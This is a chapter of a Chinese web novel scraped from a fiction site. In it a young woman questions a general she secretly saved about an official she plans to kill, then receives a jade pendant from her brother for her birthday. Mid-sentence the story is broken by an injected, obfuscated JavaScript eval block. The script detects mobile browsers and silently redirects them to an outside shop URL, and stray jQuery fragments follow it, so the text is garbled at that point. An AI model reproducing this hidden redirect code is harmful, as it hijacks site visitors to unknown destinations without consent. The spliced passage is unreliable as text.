文趣网 > 其他小说 > 孤蛊 > 28. 王府
    此人一袭黑衣,穿着简朴,头发高高竖起,右半边脸有一道深红的疤痕,从额头一直延到下巴处。

    他的眉骨锋利,眉峰斜挑如刀削,眼窝微陷,一双眼沉如寒潭,关凭一张脸就叫人害怕,更别说背后还背着一把长刀,乍一看像是逃命的亡命徒。

    他的声音干哑,“你来了。”

    倪逾明淡淡地嗯了一声,没有表现得熟络。

    男人又出声了,他问她:“你为何救我。”

    倪逾明拱手道:“将军一生为国征战,出征至今无一败例,共守下二十余座城池,磊落光明,即使要杀人也是光明正大地杀,何须使手段,就算杀了人也会坦坦荡荡认了,敌军凶残,将军不曾英勇献身于战场,又怎能因为小人暗算至死。”

    她的声音很轻,但在没有杂声的破庙里却显得格外有份量。

    倪逾明垂着眸。

    世人的生死皆与她无关。

    可秦州之不该就这么死了。

    这祸是她惹起来的,她也是小人,只是无论如何,他不该为了她而死。

    凡是讲究因果轮回,讲究报应,她怕得是她的报应落在亲近之人身上。

    秦州之就算要死也该死于战敌的沙场,得到百姓的尊敬,而非不明不白地死了,惨遭百姓唾骂,一方豪杰不该如此。

    她只能救他的命,她惹起的祸患,却不能为他正名。

    她的心肠确实恶毒,如今她也还是在利用他,利用他心中的仇恨,让秦家对付太傅,太傅倒台,大皇子等于是断了双臂,这是她乐意看见的。

    “多谢姑娘出手相助。”秦州之说得诚恳。

    只是他不曾想到救他的竟是一个十几岁的姑娘。

    几月前秦家死气沉沉,大理寺查出是他杀的人,皇帝亲自下的口谕,赐了瓶毒药。

    秦家上上下下哭声一片,喊冤叫屈,可在皇帝面前,秦家所受的这些不公算得了什么。

    他娘哭晕了过去,就连他爹那样从不外露情绪之人都红了眼眶。

    死期将至,秦家每个人看他的眼神都充满了同情,只有他正在坦荡地接受死亡,因为有人想要刘恩是他杀的,那便会有各种各样的法子将杀人罪名安在他的头上。

    他正等待死亡,可有一日,家中出现一张信纸,没有署名,只写下‘不想死,子夜月秦山寺庙见’。

    爹娘像是抓住了救命稻草一般,不论真假,当机立断出发。

    那夜在这破庙中,她也是这般打扮。

    递给他们一瓶丹药,轻声说:“吃了这药后可以维持三天三夜假死的症状,至于怎么用那便看你们了。”

    爹娘虽急着救他,但也不失理智,“你是何人?我们怎么相信你?”

    倪逾明并没有被他爹的气场吓到,反而问:“注定会死,为何不试试?许能救他一命,当然也可不用,一切都在你们。”

    “你到底是谁?”

    她像是失去了耐心,“我是谁并不重要,我已经将药送到,用不用都看你们自己,我还有事先走了。”

    说完竟然就真的转身走了,甚至不求银子,没有狮子大开口要任何报酬,好似真的就只是为了过来送药。

    她说的也的确没错,这一局他注定是死,为何不赌一把呢。

    结果就是赌赢了。

    她没骗他。

    秦家想寻她,不可能大张旗鼓,毕竟在外人眼里,他刚‘死’,细细调查一番却也无果,像是人间蒸发了一样。

    好在她离开时留下了个地址,有事可写信过去,可一连过去好些月,秦家写了许多信件,有询问的,有道谢的,却始终等不到一封回信。

    好在今夜她赴约而来。

    只是他想不明白他与她素未谋面,仅仅只是因为他是个将军护住了城池,便救他?

    他并不是个只会拿刀耍剑心思单纯的武人,世上没有一味付出不求回报之人。

    “姑娘可否有想要的,姑娘救了在下一命,理应回报。”

    倪逾明想了想说:“我想问你一个人。”

    秦州之没想到她就问这个,愣了一下回道:“姑娘请说。”

    “中书令。”

    朝中几乎可分为两派。

    一派是太傅这边,拥护皇上,想立大皇子为储君,当然也最得圣心。

    另一派则是秦家这种,一心救国,希望大和能尽快培养出一位有智有谋的皇上,因此也不得圣心。

    而中书令最为特殊,他站在中间,既不向着太傅,也不向着秦家,让人猜不透。

    但私下却与大皇子走得近,表面中立,实则站在太傅一侧。

    中书令的夫人是当今皇上同父异母的妹妹。

    他们二人孕有一儿一女,极其相爱,中书令不曾纳妾,哪怕婚后几年也如胶如漆,成为京城一段佳话。

    可在女儿刚出生不久后他的夫人便因病去世了。

    从那以后中书令变像换了个人似的,就像是魂已经不在,受人控制的提线木偶一般,浑浑噩噩过了许久。

    在公主去世的第五年,他再娶,却只是妾的身份,传言说他的正妻只有一个,那便只会是公主。

    秦州之将他的生平娓娓道来,从小到大,说得很详细,但这不是倪逾明想要的,这些她也早已打听到。

    “他可有什么奇怪的地方?或者他在朝中与谁不对付?”

    秦州之一下抓到了重点,“你想对付中书令?他得罪过你?”

    倪逾明没有出声。

    心里却默默回答。

    不是对付,是杀。

    见她沉默,秦州之抿唇道:“他是中书令,并不是那么容易对付的,若你有证据,可以去大理寺一试,大理寺卿向倾承是可信之人。”

    倪逾明坦然道:“我没有证据。”

    就算有,大理寺又如何与中书令斗?哪怕斗赢了,结果也可想而知。

    中书令根本得不到什么惩罚,得到了又如何?

    那些惩罚在她眼里太轻了。

    最公平的惩罚便是以命抵命,受着从前遇害之人千倍万倍的疼,在痛苦里死去。

    秦州之哑然,沉默一会才说:“他做事严谨,唯一奇怪的是他夫人去世后的第五年再娶的女子,是他在朝廷上亲自请皇上拟旨的,那女子是工部侍郎尚孜的长女,尚家生了三个儿子好不容易才盼来这么个女儿尚温,自然是含在手掌心里的,不曾吃过一点苦。”

    “中书令比她年长二十

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838733|211563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    六,嫁进去还是妾室,尚孜怎么可能同意,可偏偏中书令早年得到过皇帝口谕,可求一事,那时他没有用,如今却用在这种地方,结果可想而知,皇帝亲自下的旨,尚孜再怎么反对也无济于事。”

    “在这之前中书令只在尚书左丞的寿宴上远远见过尚温一面,有传言说尚温长得有七分像公主,所以中书令这才费尽心思想要娶回去。”

    “尚温嫁进王府,很少出门,也很少回到尚家,王府有人传出,她身子不好,嫁进去没多久便病了,卧倒在床直到两年前才去世。”

    “尚温被宠着长大,尚家人含在嘴里怕化了,不曾逼迫她学琴棋书画和女红,每日骑马上街,最爱射箭赛马,身子一向很好,甚至从小到大风寒都很少得,怎会一嫁进王府便病了,好好一个人还死去了,尚家人曾大闹过,后来还是皇上出面,这事才作罢,但尚家和中书令的梁子却结下了。”

    倪逾明暗自记下,这些消息只会在上流贵族内部流传,一个是工部侍郎,一个是中书令,想止住传言太容易了,更何况身份尊贵,没人敢乱嚼舌根。

    这些信息是她打探不到的,看似无用,但对她要做的事或许是个突破点。

    ——————

    当日向倾承走后,皇帝便派他前往陵城办事。

    倪逾明则因为秦州之的话,一边想着法子挖出些当年的东西,一边应付谢清未。

    她也听见街巷邻里说林业和去参军了。

    不论如何,都与她无关。

    一晃眼便过去一个月了。

    一早,倪云旗拿着歌木匣子进来,满脸喜色,“阿姐,生辰吉乐!”

    倪逾明接过,眉眼舒展开来,“谢谢阿钰!”

    倪云旗见她手里拿着却迟迟不打开,嘟囔一声,“阿姐不打开看看?”

    木匣子里放的是一块上好的玉佩。

    那玉佩是暖玉所制,色泽柔润如霞,小巧玲珑,玉佩雕作海棠样式,花瓣纤柔,纹路浅细却清晰。

    倪逾明纤细的手指轻抚过玉佩表面,“真好看。”

    倪云旗终于松了一口气,他还怕阿姐不喜欢呢!

    好在他这一年来替书肆抄书赚的银子不算白费。

    他眼底骤然亮起来,唇角忍不住向上弯,“阿姐喜欢就好!”

    倪逾明自然知道这玉佩不便宜,但也没说,只是对他说:“下月开始,阿姐给你每月涨一百文。”

    “我平日都够用的,阿姐不用给我涨。”

    倪逾明笑着道:“谁说给你的,这是备着的,如果遇见喜欢的小娘子,记得买点小娘子喜欢的东西,不够再同我讲,可别到时连个小物件都买不起。”

    倪云旗撇开视线,耳尖泛红,“阿姐!”

    “好了好了,我不说了。”

    其实自从师父师娘去世,她便不过生辰了。

    若不是每年阿钰送她生辰礼和张妈妈给她煮长寿面,她怕是都要忘记自己的生辰了。

    只是今年似乎有些不一样。

    谢清未和向倾承答应了会来。

    但也只是嘴上答应,高位者的话向来不能当真,她也没放在心上。

    而且向倾承已经去陵城一个月了,至今也还没回来。